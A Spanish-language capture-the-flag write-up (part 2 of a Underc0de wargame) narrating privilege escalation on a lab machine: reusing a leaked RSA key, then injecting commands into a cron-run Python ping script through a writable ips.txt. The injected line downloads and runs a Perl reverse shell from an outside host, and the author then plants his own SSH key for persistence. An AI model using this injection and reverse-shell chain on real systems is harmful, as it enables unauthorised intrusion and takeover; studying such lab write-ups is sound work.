Solucionario de Underc0de Weekend #3 (Parte 2)
Esto era algo absultamente increíble, jamas pero jamas pensé que algo así pudiera funcionar... obviamente con algunos errores por la inclusión, pero nos podemos mover bastante cómodos, así que me pongo a investigar y hago un ls.
Vemos una interesante carpeta b_gd214dg, la visitamos ya directamente desde el navegador, esperando que no tenga ningún .htaccess sino tendríamos q seguir con nuestra weevely.
Veamos si podemos ver el contenido de foo.backup:
Tenemos un hermoso Private Key RSA!!! ahora queda averiguar a que usuario pertenece!
No tardamos y lo agregamos a nuestro .ssh y lo ponemos a correr con ssh-add .ssh/NombreKey (no nos olvidamos de cambiar los permisos a 400 sino no vamos a poder agregarlo al registro de llaves RSA de linux).
Aquí me encontré con algo que me sorprendió y al mismo tiempo no... al agregar el Private Key no me pidió passphrase, cosa que supuse por logica, que de otra forma el wargame no se podría resolver.
Luego largamos nuestro ssh usuario@ip y empezamos a probar los usuarios, y sin mucho q tardar entramos como el usuario cuervo!
Ahora resta investigar y escalar privilegios, lo primero que noto y rápidamente me pongo a investigar es que sobre /home/ existen 2 usuarios (cuervo y underdist) y que por casualidades de la vida puedo leer dentro de la carpeta del usuario underdist (Cosa que debería ser imposible en un sistema seguro).
Descartamos por completo la lectura de .bash_history ya que se trata de un enlase simbólico a /dev/null por lo tanto todo lo que cae ahí se pierde!.
Vemos que no tenemos muchos permisos para nada, pero podemos leer cronping.py (que como su nombre indica se ejecuta cada 1 minuto en crontab) y el archivo ips, en el cual tenemos permisos de escritura! No pierdo mucho tiempo y me pongo a leer el código de cronping.py ya que esto me suena a Privileges Escalation!!!
A simple vista los que trabajamos en algún proyecto con python notamos q save() deja logs de la actividad del programa en /tmp/logs por lo q si logramos alterar el funcionamiento del programa, dejaremos registro de nuestra actividad que en caso de una auditoría no autorizada deberíamos borrar.
Seguimos con en análisis, vemos que la función ips() lee el contenido del archivo ips.txt en el cual nosotros tenemos privilegios de escritura (acá el punto de inyeccion) y después la función command(c) que recibe como parámetro una ip y le ejecuta una serie de acciones, en la linea:
Vemos como se ejecuta un comando del sistema y sin ningún tipo de sanitizacion o evaluación previa se le pasa como parámetro “c”.
“c” se inyecta donde esta el %s, y no olvidamos que “c” es una ip, y esa ip viene del archivo ips.txt, en el cual nosotros podemos escribir, entonces me bajo el archivo de forma local a mi pc hago un par de pruebas y llego al siguiente PoC para el archivo ips.txt
127.0.0.1 | wget 192.168.1.55/rsh.perl | chmod 777 /home/underdist/rsh.perl | perl rsh.perl 192.168.1.55 9669 -l | echo done > /home/underdist/done.txt
Esto se termina inyectando de la siguiente manera en el comando que ejecuta el script en python:
ping -c -1 -w 127.0.0.1 | wget 192.168.1.55/rsh.perl | chmod 777 /home/underdist/rsh.perl | perl rsh.perl 192.168.1.55 9669 -l | echo done > /home/underdist/done.txt | grep received | cut -d “ “ -f 4
Los que nos manejamos en el mundillo linux, sabemos que hace este comando, a los que no les paso a explicar, el pipe “|” sirve de concatenador de comandos, entonces para no romper el comando principal del archivo python y lograr la ejecución código arbitrario, primero pongo un ip cosa que el comando ping se cumpla correctamente y después entre las pipes siguientes agrego todo comando que quiera ejecutar.
En este caso yo descargó una Reverse Shell programada por mi en perl, le doy permisos 777, la mando a ejecución y para saber si el comando se ejecutó correctamente creo un archivo done.txt en el path del usuario underdist, espero un rato a que cron haga su trabajo y obtengo shell en mi nc -l -vv 9669 con privilegios de underdist!
Felices y contentos nos ponemos a investigar un poco, porq nuestro próximo objetivo es obtener el root!!!
Primero que nada yo opto por lo siguiente... como realmente no me gusta trabajar mucho de esta forma... y como sabemos que el servidor trabaja con RSA Clave Publica/Privada... nos vamos a generar nuestra propia clave privada y publica para subirla al .ssh del usuario underdist y solicitar una conexión ssh con /bin/bash... y así estar mas comodos... (Algunos dirán que soy una nena jajaja)
Ya con con nuestro conjunto de clave Privada y Publica:
Proseguimos a enviar nuestra clave publica Underd1st.pub a /var/www y darle permisos 777 para poder descargarla desde la maquina que este momento ya puedo llamarla “Víctima” y luego enviar y agregar Underd1st a .ssh de mi Pc local.
En la Víctima:
Después de esto movemos Underd1st.pub a .ssh/authorized_keys para mas tarde valide con nuestra Private RSA y por las dudas levantamos ssh de nuevo.
Pc Local:
Enviamos Underd1st a .ssh/ y hacemos ssh-add .ssh/Underd1st.
Solo resta hacer un ssh underdist@192.168.1.36
A estas alturas podemos movernos con libertad como underdist!